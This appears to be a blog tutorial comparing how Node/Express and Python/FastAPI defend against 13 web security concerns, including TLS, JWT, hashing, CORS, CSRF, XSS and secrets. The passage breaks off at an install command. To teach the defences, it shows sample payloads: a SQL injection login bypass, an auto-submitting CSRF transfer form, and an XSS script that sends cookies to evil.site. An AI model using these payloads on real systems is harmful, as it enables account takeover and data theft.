July 14, 2026
13 Web Security Concerns, Solved Twice: Node/Express vs Python/FastAPI (2026 Edition)
A side-by-side field guide to hardening a modern API — with the current best-in-class package for each concern, verified against OWASP and…

By Narendran A I
32 min read
A side-by-side field guide to hardening a modern API — with the current best-in-class package for each concern, verified against OWASP and the 2026 ecosystem, plus copy-paste code for both stacks.
Every backend engineer eventually inherits the same checklist: TLS, auth, hashing, CORS, headers, rate limits, validation, injection, CSRF, XSS, secrets, logging, and dependency hygiene. The concepts are identical across languages — but the libraries drift constantly, and half the tutorials online still recommend packages that have been archived or deprecated (looking at you, csurf and bleach).
This post does three things:
- Gives you a single reference table mapping all 13 concerns to the recommended 2026 package for Node/Express and Python/FastAPI.
- Explains each concern — what the attack is and why the mitigation works.
- Ships one complete, commented, runnable app per stack implementing every row, plus a one-line install command.
A note on selection: for each concern I compared the popular choices with what's actually current. Where the old default is deprecated, I say so and pick the maintained replacement. The "Best pick" column is what I'd reach for on a new project today.
The master table
Things worth flagging in this table
csurfis dead. The Express team formally deprecated it in 2025; it's archived and unmaintained. Usecsrf-csrf(stateless double-submit) orcsrf-sync(session-based).bleachis dead. Deprecated in 2023. Its maintained successor isnh3, a binding to the Rustammoniasanitizer — faster and safer.- Argon2id overtook bcrypt as OWASP's default recommendation for new systems (memory-hard, GPU-resistant). bcrypt is still fine if you're already on it, but new code should default to Argon2id.
- There is no Helmet for FastAPI. You set security headers with a small middleware (shown below) or the
securelibrary. Don't assume a framework default exists.
Concern-by-concern
Each section below is written to stand on its own: what the attack actually is, a concrete walkthrough of how it plays out, why the recommended fix defeats it, the tradeoffs and parameters that matter, and the mistakes that quietly leave you exposed even after you "added security." Read start to finish and you'll have a working mental model for each of the thirteen, not just a package name.
1. HTTPS / TLS
Defends against: Eavesdropping, MITM, token theft in transit.
What the attack is. HTTP sends everything as plaintext bytes over the network. Every device between the user and your server — the coffee-shop Wi-Fi access point, a compromised home router, the ISP, a rogue node on the path, anyone running a packet sniffer on the same network segment — can read and modify those bytes. There is no envelope; it's a postcard. A "man-in-the-middle" (MITM) attacker doesn't just read the postcard, they can rewrite it: inject a <script> into an HTML response, swap a bank account number in a form, or strip out your security headers.
How it plays out. A user logs into your app on public Wi-Fi. Over plain HTTP, their email and password travel in the clear inside the POST body, and your server hands back a session cookie or JWT — also in the clear. The attacker on the same network captures the cookie and replays it from their own machine. They're now logged in as the user, no password required. This is the classic "sidejacking" attack that tools like Firesheep demonstrated a decade ago, and it still works against any endpoint served over HTTP.
Why TLS fixes it. TLS (Transport Layer Security — the "S" in HTTPS) does three things at once. Encryption turns the postcard into a sealed, unreadable stream so on-path devices see only ciphertext. Integrity attaches a message authentication code so any tampering is detected and the connection is torn down. Authentication uses a certificate signed by a Certificate Authority (CA) that the browser trusts, proving the server is really example.com and not an impostor — this is what defeats MITM. The handshake negotiates a fresh symmetric key per session, so even capturing the whole conversation yields nothing.
How you actually deploy it. You almost never terminate TLS inside your Node or Python process. Instead you terminate at the edge:
- A reverse proxy — Caddy (auto-provisions and renews Let's Encrypt certificates with literally zero config), or Nginx/Traefik with Certbot. The proxy handles TLS, then forwards plain HTTP to your app on localhost.
- A managed platform — Vercel, Fly.io, Render, or a cloud load balancer (AWS ALB, GCP LB) that provisions and rotates certs for you.
Then two non-negotiable follow-ups: redirect all HTTP to HTTPS (a 301), and enable HSTS (the Strict-Transport-Security header, covered in §5) so the browser refuses to ever downgrade to HTTP for your domain again — this closes the "SSL-strip" window where an attacker forces the very first request onto HTTP before the redirect fires.
Tradeoffs and gotchas.
- Don't hand-roll TLS in app code. Loading a
.peminto Node'shttpsmodule works, but you then own cert renewal, cipher-suite configuration, OCSP stapling, and TLS-version policy — all of which a proxy does better and keeps patched. - Mixed content silently breaks you. If your HTTPS page loads any
http://script/image, browsers block or warn; worse, anhttp://asset is an injection point. Serve everything over HTTPS. - Certificate expiry is the #1 real-world TLS outage. Automate renewal (Caddy/Certbot do) and alert on it.
- Internal traffic matters too. "TLS at the edge, plaintext behind it" is fine only if the internal network is trusted. In zero-trust setups, use mTLS between services.
2. Authentication (JWT)
Defends against: Impersonation, unauthorized access.
What the problem is. HTTP is stateless — every request arrives with no memory of the last one. So on each request your server must answer "who is this, and have they proven it?" Authentication is proving identity (login); authorization is deciding what that identity may do. Get authentication wrong and anyone can become anyone.
Where JWTs fit. A JSON Web Token is a self-contained, signed credential. It has three base64url parts separated by dots: a header ({"alg":"HS256","typ":"JWT"}), a payload of claims ({"sub":"user-42","exp":1712345678,"aud":"app","iss":"api.example.com"}), and a signature. The server signs the header+payload with a secret (HS256, symmetric) or a private key (RS256/ES256, asymmetric). On each later request the server recomputes the signature and, if it matches, trusts the claims without a database lookup. That statelessness is the appeal: any instance in a cluster can verify a token independently.
How it plays out — the right way. User logs in with email + password; you verify the password hash (§3), then issue a short-lived access token (say 15 minutes) and a longer-lived refresh token. The client sends the access token as Authorization: Bearer <token> on each request. Your middleware verifies the signature, checks exp (not expired), aud (intended for this API), and iss (issued by you), then attaches the user to the request. When the access token expires, the client uses the refresh token to get a new one.
The ways JWT auth gets broken (and how to prevent each).
- The
alg: noneattack. Early libraries honored a token that declared"alg":"none"and skipped signature verification entirely — instant forgery. Fix: pin the allowed algorithm explicitly on verify (algorithms: ["HS256"]); never trust the header'salg. - Algorithm confusion (RS256 → HS256). If your server verifies with the public key but a library lets an attacker send an HS256 token, the attacker signs with the public key (which is public) and it validates. Fix: again, pin the algorithm; keep signing keys and verification keys unambiguous.
- Weak or leaked HMAC secret. HS256 with a short secret is brute-forceable offline. Fix: use a long, random secret from a secret manager (§11), or use RS256/ES256 with a real keypair.
- No expiry / no revocation. JWTs are valid until they expire, and you can't easily revoke a stolen one. Fix: keep access tokens short-lived; maintain a refresh-token rotation scheme and a denylist for logout/compromise; consider
jti(token id) tracking for revocation. - Storing tokens in
localStorage. Any XSS (§10) can readlocalStorageand exfiltrate the token. Fix: prefer an httpOnly, Secure, SameSite cookie (JS can't read it) or keep the access token in memory only; never inlocalStorageif you can avoid it.
Library picks. Node: jose (modern, typed, ESM, supports JWS/JWE/JWKS) is the current best; jsonwebtoken is still fine and battle-tested. Python: PyJWT for simple signing/verification, or Authlib when you need full OAuth2/OIDC flows. For a whole auth system rather than raw tokens, consider Auth.js (Node) or fastapi-users (Python), or a managed provider (Clerk, Auth0, Cognito) — offloading auth to specialists is a legitimate and often wiser choice.
Sessions vs. JWTs — a fair note. JWTs aren't automatically the right answer. Classic server-side sessions (an opaque session id in an httpOnly cookie, state in Redis) are simpler to revoke, don't leak claims, and are perfectly scalable with a shared store. Use JWTs when you genuinely need stateless verification across services; use sessions when you want easy revocation and less footgun surface.
3. Password hashing
Defends against: Credential theft after a DB breach.
What the attack is. Assume, pessimistically, that your database will leak someday — via SQL injection (§8), a misconfigured backup, an insider, or a cloud bucket left public. The question is what the attacker gets when they read your users table. If passwords are plaintext, it's game over instantly, and because people reuse passwords, you've just compromised their email, bank, and everything else too. If passwords are "encrypted," it's nearly as bad — encryption is reversible, so whoever has the key (also probably in the breach) can decrypt them all.
Why fast hashes are not enough. Hashing is one-way, which is the right idea — you store hash(password) and compare hashes at login, never storing the password itself. But general-purpose hashes like MD5, SHA-1, and SHA-256 are designed to be fast, and speed is the enemy here. A modern GPU computes billions of SHA-256 hashes per second. Attackers precompute enormous rainbow tables or just brute-force common passwords in minutes. Fast hashing barely slows them down.
The two properties you actually need.
- Slowness (work factor). A password hash should be deliberately expensive — tuned so a single hash takes ~200–400ms on your server. That's invisible to a legitimate user logging in once, but it turns an attacker's "billions per second" into "a handful per second," making large-scale cracking economically infeasible.
- A unique per-password salt. A salt is random data mixed into each password before hashing and stored alongside the hash. It ensures two users with the same password get different hashes, which defeats rainbow tables and stops an attacker from cracking many accounts at once. Modern libraries generate and manage salts for you automatically.
Argon2id — the current default. Argon2 won the Password Hashing Competition in 2015 and its Argon2id variant is now OWASP's #1 recommendation for new systems. Its key advantage is being memory-hard: it deliberately consumes a lot of RAM per hash. Attackers can cheaply buy thousands of GPU cores, but giving each core enough fast RAM is expensive and hard — so memory-hardness attacks the economics of cracking directly. Argon2id is a hybrid that resists both GPU brute force and side-channel timing attacks. OWASP's starting parameters: memory 19 MiB (many use 64 MiB), 2 iterations, parallelism 1 — then tune upward until a hash takes 200–400ms on your hardware.
bcrypt — still acceptable. bcrypt (from 1999, based on Blowfish) remains cryptographically sound at cost factor ≥ 12 and is a fine choice if you're already on it or in a memory-constrained/serverless environment where its predictable ~1MB footprint is a plus. Two caveats: it's CPU-hard but not memory-hard, and it silently truncates input at 72 bytes (so a very long passphrase's tail isn't protected — enforce a max length or pre-hash). scrypt and PBKDF2 are also acceptable (PBKDF2 specifically where FIPS compliance is required), but for greenfield work, default to Argon2id.
How it plays out in practice. At registration: hash = argon2.hash(password) → store hash (the encoded string already contains the algorithm, parameters, and salt). At login: argon2.verify(stored_hash, submitted_password) returns true/false in constant time. Never write your own hashing; never log the plaintext, even transiently.
Gotchas.
- Timing attacks on "user not found." If a wrong password returns fast but a nonexistent user returns even faster, you leak which emails are registered. Run the verify (or a dummy verify) in both branches so responses take similar time.
- Peppering (advanced). A "pepper" is a secret added to all passwords, stored outside the DB (in a secret manager). It means a DB-only leak still can't crack hashes. Adds operational complexity (rotation) — use for high-value systems.
- Re-hash on login when you raise parameters. Libraries expose a "needs rehash" check; upgrade a user's hash transparently when they next log in.
4. CORS
Defends against: Malicious cross-origin reads.
What CORS actually is (and isn't). The browser's Same-Origin Policy (SOP) is a foundational rule: JavaScript running on https://evil.site cannot read the response of a request made to https://api.example.com (a different origin). This stops a malicious page from silently calling your API using the victim's logged-in session and reading back their private data. CORS (Cross-Origin Resource Sharing) is the controlled, opt-in mechanism to relax SOP for origins you trust — your own frontend on a different domain, say. So CORS is not a firewall you add for protection; it's a way to loosen a protection the browser already gives you. Misconfiguring it means loosening too much.
How it works under the hood. When your frontend JS makes a cross-origin request, the browser adds an Origin: https://app.example.com header. Your server responds with Access-Control-Allow-Origin naming which origins are permitted. For anything beyond simple GET/POST (custom headers, PUT/DELETE, JSON content-type), the browser first sends a preflight OPTIONS request asking "am I allowed to do this?"; your server answers with the allowed methods/headers, and only then does the real request go. If credentials (cookies) are involved, the server must also send Access-Control-Allow-Credentials: true — and critically, the spec forbids combining that with a wildcard origin.
How it gets misconfigured — the real risks.
Access-Control-Allow-Origin: *with credentials. The dangerous pattern is reflecting the request'sOriginback and allowing credentials, which effectively lets any site make authenticated calls and read the response. Fix: never use * when cookies/credentials are in play; use an explicit allowlist.- Reflecting Origin without validation. Some servers echo whatever
Origincame in. That's a wildcard in disguise. Fix: check the incoming origin against a fixed allowlist and only then echo it. - Over-broad allowlists. Allowing
*.example.comwhen a subdomain can be taken over (subdomain takeover) hands an attacker a valid origin.
The correct configuration. An explicit list of exact origins, credentials enabled only if you truly use cookies, and restricted methods/headers. Express uses the cors middleware; FastAPI ships CORSMiddleware. Both are shown in the code apps below.
Gotcha to internalize. CORS errors are enforced by the browser, not your server — a non-browser client (curl, a mobile app, a server-to-server call) ignores CORS entirely. So CORS is not an authentication or authorization mechanism. It only governs what browser JS on other origins can read. Your real access control still lives in auth (§2) and server-side authorization checks.
5. Security headers
Defends against: Clickjacking, MIME sniffing, protocol downgrade, injection.
Security headers are cheap, high-leverage instructions you send with every response telling the browser to behave defensively. Four carry most of the weight:
Strict-Transport-Security(HSTS) — defeats protocol downgrade / SSL-strip. Tells the browser "for the next N seconds, only ever talk to this domain over HTTPS, no exceptions." After the first visit, the browser upgrades every request to HTTPS before it leaves the machine, closing the window where an attacker intercepts the initial plaintext request and prevents the redirect. Usemax-age=31536000; includeSubDomains; preload(a year, all subdomains, and eligibility for the browser preload list that bakes it in from the very first visit). Caveat: it's sticky — don't enablepreload/includeSubDomainsuntil every subdomain is HTTPS-ready.X-Frame-Options: DENY(and its modern successor, CSP'sframe-ancestors) — defeats clickjacking. Clickjacking is when an attacker loads your site in an invisible iframe layered under a decoy ("Click to win!"), so the victim's click actually lands on your "Delete account" or "Transfer funds" button. Telling the browser your site may not be framed (or only by yourself) neutralizes it.frame-ancestors 'self'in CSP is the more flexible, current form.X-Content-Type-Options: nosniff— defeats MIME sniffing. Browsers historically "sniffed" a response's content and sometimes executed a file you served as plain text or an image as if it were JavaScript. If an attacker can upload a file that gets sniffed into executable script, that's XSS.nosniffforces the browser to respect your declaredContent-Type, full stop.Content-Security-Policy(CSP) — the big one; defeats most XSS and data injection. CSP is an allowlist for where content may come from:script-src 'self'means "only run JavaScript served from my own origin," so an injected inline<script>or a script fromevil.sitesimply won't execute. A strong CSP is the single most effective backstop against XSS (§10). It's also the fiddliest to deploy — start inContent-Security-Policy-Report-Onlymode, collect violation reports, tighten iteratively, and avoid'unsafe-inline'/'unsafe-eval'(use nonces or hashes for any inline scripts you truly need).
Other useful ones: Referrer-Policy (control how much URL info leaks to other sites), Permissions-Policy (disable camera/mic/geolocation you don't use), and Cross-Origin-Opener-Policy/Cross-Origin-Resource-Policy for cross-origin isolation.
Tooling. Express: helmet sets sane defaults for all of the above in one line and is the standard. FastAPI has no Helmet equivalent — you add a small middleware that sets the headers explicitly (shown below) or use the secure library. Don't assume the framework does this for you; by default it does not. Verify your headers with a scanner like securityheaders.com or Mozilla Observatory after deploy.
6. Rate limiting
Defends against: Brute force, credential stuffing, DoS, cost abuse.
What it defends. Without a cap on how often a client can hit an endpoint, several attacks become trivial. Brute force: hammering /login with password guesses until one works. Credential stuffing: replaying millions of email/password pairs leaked from other breaches, since people reuse credentials. Scraping/enumeration: walking /users/1, /users/2… to harvest data. DoS: flooding an expensive endpoint to exhaust CPU/DB/connections. Cost abuse: spamming an endpoint that calls a paid API (an LLM, SMS, email) to run up your bill. Rate limiting caps requests per identity (IP, user, API key) per time window and rejects the overflow with HTTP 429 Too Many Requests.
How to think about the algorithm. The common strategies: fixed window (N requests per calendar minute — simple but allows bursts at window boundaries), sliding window (smooths that burst by looking at a rolling interval), and token bucket / leaky bucket (a bucket refills at a steady rate; each request spends a token — allows controlled bursts while enforcing an average rate). Token bucket is the most flexible for APIs; fixed/sliding window is fine for login throttling.
The single most important implementation detail: shared state. An in-memory rate limiter counts requests per process. The moment you run more than one instance behind a load balancer (which every real deployment does), each instance has its own counter, so your "100/min" limit becomes "100/min × number of instances," and it resets whenever a process restarts. You must back the limiter with a shared store — Redis. Then all instances enforce one global limit.
Layering. Apply a strict limit on sensitive endpoints (login, password reset, signup, payment) and a looser global limit everywhere. Key by user id when authenticated and by IP when not — but remember IPs are shared (corporate NAT, mobile carriers) and spoofable via X-Forwarded-For unless you trust your proxy, so validate that header. For serious DoS, rate limiting at the app is a backstop; the real defense is upstream (Cloudflare, a WAF, the load balancer).
Tooling. Node: express-rate-limit + rate-limit-redis (or rate-limiter-flexible for token-bucket sophistication). FastAPI: fastapi-limiter (async, Redis-backed) or slowapi for simple single-instance cases. Return a Retry-After header so well-behaved clients back off.
Gotcha. Don't rate-limit yourself into a UX disaster — legitimate retry storms (a flaky network, an aggressive SPA) can trip limits. Set limits from real traffic data, return clear 429s, and monitor how often you're limiting so you can tell an attack from a misconfiguration.
7. Input validation
Defends against: Malformed/malicious payloads, type confusion.
The core principle. Every byte that arrives from outside your system — request bodies, query strings, path params, headers, uploaded files, webhook payloads, even data from another internal service — is untrusted until proven otherwise. Input validation is the discipline of checking, at the boundary, that incoming data matches an exact expected shape and rejecting anything that doesn't, before that data touches your business logic, your database, or your templates. It's the first line that makes many other attacks (injection, type confusion, mass assignment, DoS-by-huge-payload) much harder.
What "validate" actually means. It's more than "is this field present." A real validation schema asserts: the correct type (this is a string, that is an integer), format (a valid email, a UUID, an ISO date), range/length (password 12–128 chars, age 0–150, array ≤ 100 items), allowed set (status ∈ {pending, active, archived}), and required vs optional. Anything failing gets rejected with a clear 422 Unprocessable Entity and field-level errors — you never "coerce and hope."
Why it prevents whole classes of bugs.
- Type confusion: many injection and logic bugs start with a field being a type you didn't expect (an object where you expected a string, an array where you expected a scalar). Strict typing kills these.
- Mass assignment / over-posting: if you blindly spread request body into a DB model, an attacker adds
"isAdmin": trueand escalates. Validating against an explicit allowlist schema (only the fields you intend) prevents it. - Resource-exhaustion DoS: an unbounded string or array or a 500MB JSON body can OOM your process. Length/size caps and a body-size limit stop it.
Where validation is not enough. Validation confirms shape; it does not make a value safe to use in every context. A perfectly valid string is still dangerous if you concatenate it into SQL (§8) or render it into HTML (§10). Validation is necessary but works alongside parameterized queries and output encoding, which are context-specific defenses. Think: validate on the way in, encode/parameterize on the way out.
Tooling. Node: zod is the current best — you define one schema and get both runtime validation and the inferred TypeScript type, so your types and your checks can't drift apart (valibot is a lighter alternative if bundle size is critical; joi and express-validator remain valid). FastAPI: Pydantic v2 does this natively and is a core reason to use FastAPI — declare a model, and invalid bodies are rejected with a structured 422 automatically before your handler runs, with a Rust core for speed.
8. SQL injection
Defends against: DB read/write/exfiltration via crafted input.
What the attack is. SQL injection (SQLi) happens when user input is glued directly into a SQL string, so the input can break out of its intended "value" slot and become executable SQL command. It's consistently one of the most damaging web vulnerabilities because a single injectable query can dump your entire database, modify data, or in some configurations run OS commands.
A concrete walkthrough. Suppose a login builds SQL like this:
"SELECT * FROM users WHERE email = '" + email + "' AND password = '" + pw + "'""SELECT * FROM users WHERE email = '" + email + "' AND password = '" + pw + "'"An attacker submits the email ' OR '1'='1' -- . The query becomes:
SELECT * FROM users WHERE email = '' OR '1'='1' -- ' AND password = '...'SELECT * FROM users WHERE email = '' OR '1'='1' -- ' AND password = '...''1'='1' is always true, and -- comments out the rest, so the WHERE matches every row and the attacker logs in as the first user (often the admin). Nastier payloads use UNION SELECT to pull data from other tables (UNION SELECT credit_card, cvv FROM payments), or blind SQLi that infers data one bit at a time from timing or boolean differences when no output is shown, or stacked queries that DROP TABLE. Automated tools like sqlmap make exploiting an injectable parameter push-button.
Why the fix works. The root cause is mixing code and data in the same string. The fix is to keep them separate using parameterized queries (a.k.a. prepared statements). You write the query with placeholders and pass the values separately:
db.query("SELECT * FROM users WHERE email = $1 AND password = $2", [email, pw])db.query("SELECT * FROM users WHERE email = $1 AND password = $2", [email, pw])The database driver sends the query structure and the values over separate channels. The value ' OR '1'='1 is now treated as a literal string to compare against the email column — it can never become SQL syntax. There's no escaping to get right, no edge case to miss; the data simply can't be parsed as code. This is the same "treat input as inert data, not instructions" idea behind the parameter capsule.
How you get this for free. Use an ORM or query builder that parameterizes by default: Prisma or Drizzle (Node), SQLAlchemy 2.0 or SQLModel (Python). Their normal query methods are safe automatically. The danger reappears only when you drop to raw SQL — and even then, every one of these lets you pass bound parameters, so use them. Never build SQL with string concatenation or template literals containing user input, ever, even for "internal" or "admin-only" queries.
Gotchas and depth.
- ORMs don't make you immune. Raw-query escape hatches (
prisma.$queryRawUnsafe, SQLAlchemytext()with f-strings) reintroduce injection. Use the parameterized variants. - Injection isn't only SQL. The same class of bug exists for NoSQL (MongoDB operator injection like
{"$gt": ""}), OS commands, LDAP, and XPath. The universal fix is the same: separate code from data, and validate/allowlist input. - Defense in depth: least-privilege DB accounts (your app user shouldn't be able to
DROP TABLEor read other schemas), and input validation (§7) to reject obviously wrong shapes, both reduce blast radius if something slips through.
9. CSRF
Defends against: Forged state-changing requests using a victim's cookies.
What the attack is. Cross-Site Request Forgery abuses the browser's habit of automatically attaching cookies to any request to a domain, regardless of what site initiated it. If your app authenticates with a session cookie, then when the victim's browser sends a request to your app, the cookie rides along — even if a completely different, malicious site triggered that request. CSRF tricks the victim's browser into making a state-changing request (transfer money, change email, delete account) that your server can't distinguish from a legitimate one, because it carries the victim's valid cookie.
A concrete walkthrough. The victim is logged into bank.example.com (session cookie set). They visit evil.site, which contains:
<form action="https://bank.example.com/transfer" method="POST" id="f">
<input name="to" value="attacker"><input name="amount" value="5000">
</form>
<script>document.getElementById('f').submit()</script><form action="https://bank.example.com/transfer" method="POST" id="f">
<input name="to" value="attacker"><input name="amount" value="5000">
</form>
<script>document.getElementById('f').submit()</script>The page auto-submits the form. The browser dutifully attaches the bank.example.com session cookie, the server sees a valid authenticated POST, and the transfer executes. The victim never clicked anything meaningful. Image tags, hidden forms, and fetch can all be vectors.
Why the fixes work. The server needs a way to confirm the request came from its own frontend, not a third-party site — something the attacker's page can't supply.
- Synchronizer / double-submit tokens. The server issues a random, unpredictable CSRF token tied to the session and requires it back on every state-changing request (in a header or form field). The attacker's cross-site page can't read your token (Same-Origin Policy blocks it), so the forged request lacks a valid token and is rejected. The double-submit variant stores the token in a cookie and requires it echoed in a header; since JS from another origin can't read your cookie to echo it, the forgery fails — and it needs no server-side session state.
SameSitecookies. SettingSameSite=Lax(orStrict) on your session cookie tells the browser not to send it on cross-site requests, which blocks the classic CSRF vector at the browser level.Laxis a sensible default (allows top-level navigations);Strictis tighter but can surprise users following links. This is a strong baseline, but combine it with tokens for defense in depth, sinceSameSitesupport and edge cases vary.
Tooling and the deprecation you must know. Node: csrf-csrf (stateless double-submit) or csrf-sync (session-based). ⚠️ csurf is deprecated and archived — do not use it. FastAPI: fastapi-csrf-protect (double-submit) or starlette-csrf.
When you can relax. A pure token-in-header API (no cookies — the client sends Authorization: Bearer and JS explicitly attaches it) is largely immune to CSRF, because the attacker's page can't set that header cross-origin and there's no ambient cookie to abuse. CSRF specifically bites cookie-based authentication. If you use cookies for auth at all, you need CSRF protection.
10. XSS
Defends against: Script injection into pages / other users' sessions.
What the attack is. Cross-Site Scripting is when attacker-controlled content gets rendered into a page and the browser executes it as JavaScript in the context of your origin. Once an attacker runs JS on your page, they can do anything the user can: steal the session cookie or token, read and exfiltrate data on the page, make authenticated requests as the user, keylog a login form, or deface the UI. Because the script runs with your site's privileges, XSS is effectively "remote code execution in the victim's browser for your domain."
The three flavors.
- Stored (persistent) XSS — the payload is saved server-side (a comment, a profile bio, a product review) and served to everyone who views it. Most dangerous, because it's a self-spreading trap.
- Reflected XSS — the payload is in a request (a search query, a URL param) and echoed straight back into the response. Delivered via a crafted link the victim clicks.
- DOM-based XSS — the vulnerability is entirely client-side: JS reads from
location.hash/document.URLand writes it into the DOM withinnerHTML, executing injected markup without the server ever seeing it.
A concrete walkthrough. A comment field lets users post text that's rendered as raw HTML. An attacker posts:
<script>fetch('https://evil.site/steal?c='+document.cookie)</script><script>fetch('https://evil.site/steal?c='+document.cookie)</script>Every user who loads that comment thread runs the script, shipping their cookies to the attacker. Variations avoid literal <script> using event handlers (<img src=x onerror=...>), so blocklisting tags is a losing game.
Why the fixes work — three layers.
- Output encoding / autoescaping (the primary defense). Render untrusted data as text, not markup, by escaping HTML-special characters: < becomes
<, > becomes>, etc. Now<script>displays as the literal characters instead of executing. Modern frameworks do this by default — React escapes everything in {}, and template engines (Jinja2, etc.) autoescape. The danger is when you opt out:dangerouslySetInnerHTMLin React,|safein Jinja,v-htmlin Vue, or.innerHTMLin raw JS. Treat every one of those as "I am now responsible for this being safe." - Sanitization (when you must render real HTML). Sometimes you genuinely need to render user-authored rich HTML (a WYSIWYG editor, markdown). Then you can't just escape — you must sanitize: parse the HTML and strip anything dangerous (scripts, event handlers,
javascript:URLs), keeping a safe allowlist of tags. Node/isomorphic:DOMPurify. Python:nh3(a fast Rust-based sanitizer, the maintained replacement for the deprecatedbleach). Never write your own HTML sanitizer with regex — it's a graveyard. - Content-Security-Policy (the backstop). A strict CSP (
script-src 'self', no'unsafe-inline') means that even if a payload slips through, the browser refuses to execute inline or off-origin scripts. CSP (§5) is what turns "XSS bug" into "XSS bug that didn't fire." Also set the session cookie httpOnly so that even successful XSS can't read it viadocument.cookie.
Gotcha. XSS and validation (§7) are different jobs: validation checks input shape on the way in; XSS defense is about safe rendering on the way out. The same "bio" field can be perfectly valid text and still be an XSS payload — you need output encoding regardless of validation.
11. Secrets management
Defends against: Leaked keys/tokens in code or history.
What the problem is. Applications need secrets: database passwords, API keys, JWT signing keys, third-party tokens, encryption keys. The failure mode is putting them where they don't belong — hardcoded in source, committed to git, baked into a Docker image, printed in logs, or passed in a URL. Any of these leaks them to everyone with access to the repo, the image registry, the log store, or a shared screen. And git is forever: a secret committed once and "removed" in a later commit is still sitting in history for anyone who clones the repo. Bots continuously scan public (and leaked private) repos for key patterns and exploit them within minutes — there are well-documented cases of AWS keys pushed to GitHub racking up huge bills before the developer noticed.
The layered fix.
- Never in code. Read secrets from the environment at runtime. In code you reference
process.env.API_KEY/settings.api_key, never the literal value. - Local dev:
.envfiles. A.gitignored.envfile loaded bydotenv(Node) orpydantic-settings/python-dotenv(Python) is fine for local development. The.gitignoreentry is essential, and add a committed.env.examplewith empty placeholders so teammates know what's needed without leaking values. - Production: a real secret manager. Use AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, or HashiCorp Vault. These store secrets encrypted, control access via IAM, provide an audit log of who read what, and support rotation (changing a secret on a schedule or after suspected compromise without a redeploy). The app fetches secrets at boot or via a sidecar/CSI driver — they never live on disk in plaintext or in the image.
pydantic-settings(Python) is especially nice: it declares required settings as a typed model that fails fast at startup if a required secret is missing, so you never boot half-configured.
Operational hygiene.
- Scan for leaks. Run secret scanners (
gitleaks,trufflehog, GitHub secret scanning / push protection) in CI and on history. Enable push protection so a secret is blocked before it's committed. - If a secret leaks, rotate it — don't just delete the commit. Deleting from history doesn't help if someone already cloned it. Assume it's compromised and rotate immediately.
- Least privilege + short TTLs. Scope each key to exactly what it needs; prefer short-lived, auto-rotated credentials over long-lived static keys.
- Never log secrets or put them in URLs (URLs land in server logs, browser history, and referrer headers). Keep them in headers or bodies, and redact them in logs (§12).
12. Logging
Defends against: Blind spots, undetected incidents, forensic gaps.
Why logging is a security control. You cannot detect, investigate, or prove an incident you have no record of. When something goes wrong — a breach, an abuse pattern, a subtle bug — logs are the only account of what actually happened: who did what, when, from where, and with what result. Good logging shrinks your mean time to detect and mean time to respond; bad or absent logging means an attacker can be inside for months (the industry average dwell time is measured in weeks to months) with no trace. Logging is also frequently a compliance requirement (SOC 2, PCI-DSS, HIPAA, GDPR all expect audit trails).
What "good" looks like — structured logging. Log structured JSON, not free-text strings. Instead of "user 42 logged in from 1.2.3.4", emit {"level":"info","event":"login","user_id":42,"ip":"1.2.3.4","trace_id":"abc","ts":"..."}. Structured logs are queryable: you can filter, aggregate, and alert across millions of events ("show every failed login for user 42 in the last hour"), which is impossible with grep on prose. Include consistent fields on every line: timestamp, level, service name, and a request/trace id.
The single most valuable field: a correlation (trace) id. Generate a unique id per incoming request (or accept one from the edge), attach it to every log line that request produces, and propagate it across service boundaries (pass it in a header to downstream services). Now, when something fails, one trace_id stitches together the complete journey of that request across your whole system — API gateway, auth service, database call, third-party call — turning a needle-in-a-haystack hunt into a single filter. This is the backbone of distributed tracing (OpenTelemetry, Jaeger).
What you must NOT log. Logs are a liability if they contain secrets or personal data. Never log passwords, tokens, API keys, full credit-card numbers, or unnecessary PII. A leaked log store full of plaintext secrets is its own breach — and logging PII can itself violate GDPR/CCPA. Redact sensitive fields at the logging layer (mask a password to ***, truncate a card to last-4). Be deliberate about what's captured.
Levels, shipping, and alerting. Use log levels meaningfully (debug/info/warn/error) so you can dial verbosity per environment. Ship logs off the box to a central store (Loki, ELK/OpenSearch, or a cloud logging service) so they survive a crash and are searchable across instances. Then alert on symptoms — spikes in 5xx, auth failures, or 429s — and pair logs with metrics (Prometheus/Grafana) and traces for the full observability picture. Security-specific: log auth events (login success/failure, privilege changes), access to sensitive resources, and admin actions as an audit trail.
Tooling. Node: pino — extremely fast, structured JSON by default (winston is the flexible alternative). Python: structlog for structured JSON (or loguru for ergonomics; the stdlib logging works but needs configuration to emit JSON).
13. Dependency scanning
Defends against: Known-CVE packages in your supply chain.
Why this is now a top-tier risk. Modern apps are mostly other people's code. A typical Node or Python project pulls in hundreds to thousands of transitive dependencies, and you are only as secure as the weakest one. A vulnerability in any package in that tree — even one you've never heard of, pulled in five levels deep by something you did choose — is a vulnerability in your app. This is supply-chain risk, and it's behind some of the largest incidents in recent memory (Log4Shell in log4j, the event-stream and later npm compromises, malicious "typosquatted" packages, and maintainer-account takeovers that ship backdoored updates).
The two distinct threats.
- Known vulnerabilities (CVEs) in legitimate packages. A real, popular library has a bug that's been discovered, assigned a CVE, and (usually) patched in a newer version. If you're pinned to the old version, you're exposed. This is the common case and the easiest to fix — update.
- Malicious packages. An attacker publishes a package that is intentionally harmful: typosquatting (a name one keystroke off a popular package), dependency confusion (tricking your build into pulling a public package instead of your private one of the same name), or a compromised maintainer pushing a poisoned update. These need behavioral scanning, not just CVE matching.
How scanning defends you. A scanner compares your exact dependency tree (from your lockfile) against vulnerability databases (the CVE list, GitHub Advisory Database, OSV) and flags anything with a known issue, its severity, and the fixed version. You run it on every build in CI and fail the build on high/critical severity, so a vulnerable dependency can't ship. Layer in automated update PRs so patches land quickly.
The toolchain.
- Node:
npm audit(built in) as the baseline; add Dependabot (GitHub's automated dependency-update PRs) andosv-scanner(Google's cross-ecosystem scanner) in CI. Commercial options like Snyk and Socket add deeper analysis (Socket specifically flags malicious behavior, not just known CVEs). - Python:
pip-auditas the baseline;safetyis an alternative; again pair with Dependabot andosv-scanner.
Operational practices that make this work.
- Commit your lockfile (
package-lock.json,poetry.lock,uv.lock) so builds are reproducible and scannable against exact versions. - Keep dependencies current and lean. Fewer dependencies = smaller attack surface. Prune what you don't use; be skeptical of adding a package for something trivial.
- Pin and review updates. Auto-merge patch-level security fixes, but review major updates and new dependencies (who maintains it? how popular? recent suspicious changes?).
- Generate an SBOM (Software Bill of Materials) for real supply-chain visibility, and enable npm/registry provenance where available.
- Remember scanners only catch known issues — combine them with the other twelve practices, least privilege, and keeping your runtime/base images patched.
Node / Express — complete, commented app
Install everything in one go
bash
# Runtime dependencies
npm install express helmet cors express-rate-limit rate-limit-redis redis \
